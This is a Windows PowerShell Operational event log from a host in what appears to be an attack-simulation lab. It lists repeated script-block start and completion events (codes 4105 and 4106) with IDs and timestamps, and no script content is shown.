SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032027
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032025
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032024
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032007
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032001
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
